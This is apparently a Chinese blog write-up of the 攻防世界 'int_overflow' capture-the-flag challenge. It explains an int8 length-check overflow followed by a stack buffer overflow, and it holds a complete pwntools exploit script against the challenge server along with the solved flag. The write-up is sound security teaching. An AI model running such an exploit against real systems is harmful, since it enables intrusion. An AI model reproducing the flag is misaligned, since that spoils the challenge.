攻防世界-int_overflow

本文详细描述了一次IDA环境下利用整型溢出漏洞绕过登录验证的过程,通过精心构造输入来控制内存,最终实现栈溢出并获取catflag。关键在于理解不同整型大小和溢出原理,以及如何在login函数中实施攻击。
摘要由CSDN通过智能技术生成

查看保护

在这里插入图片描述

IDA

先查看字符串搜索下有无可利用字符串,找到了cat flag。进入发现直接是system cat flag。看来只需要跳转到这个地址就可以了(0x8048694)

在这里插入图片描述

开始只能选择1.login登录,进入后提示输入用户名和密码。这里用户名限制死25位,没有操作空间,密码可以输入409位,插个眼。

在这里插入图片描述

最后还有个check passwd函数:

判断输入函数长度是否大于3小于8

然后将输入的密码拷贝给dest。

在这里插入图片描述

题目提示int_overstack,明晃晃地告诉我是整型溢出。我的关注重点就放在int声明的变量上。而这两个关键函数里只有一个int8 v3,拿就从这开刀。

解题

关于int系列的大小

Int8,Int16,Int32,nt64,后面的数字就代表这个数据类型占据的空间。

Int8, 等于Byte,1个字节.  0~255

Int16, 等于short,2个字节. -32768~32767

Int32, 等于int,4个字节. -2147483648~2147483647

Int64, 等于long,8个字节. -9223372036854775808~9223372036854775807

本体的int8只能输入值255,而根据login函数的read限定值可知,我们可以输入409个数,那么就可以利用整数溢出搞事情。

int8的整数溢出实现:

int8 最多输入值255,二进制表示为 1111 1111 
倘若输入的是256, 二进制表示为 1 0000 0000
1是溢出的部分, 后八位 0 是识别到的部分,
最后生效的值是 0

利用整数溢出漏洞可以绕过字符串长度输入检测,但这不是最终目的,绕过长度检测后有个dest字符串,0x14字节大小。

这里我们可以输入409个字符串,足够完成栈溢出,然后导向cat flag的地址。

EXP

from pwn import *
p=remote('220.249.52.134',48648)
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("username:")
p.sendline("Pang")
p.recvuntil("passwd:")
p.sendline('a'*0x14+'A'*4+p32(0x8048694)+'B'*(255+4-20-4-4))
# 前三个是 填满dest的栈空间,挤掉返回地址,导入跳转system的地址。
# 后面的255+4-20-4-4 是:int8最大空间+溢出4位(满足 3<长度<8)- dest长度 - 返回地址长度 - system的四字节长度

p.interactive()

flag

cyberpeace{a45992bcc3d725e6ac9002cac998b519}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值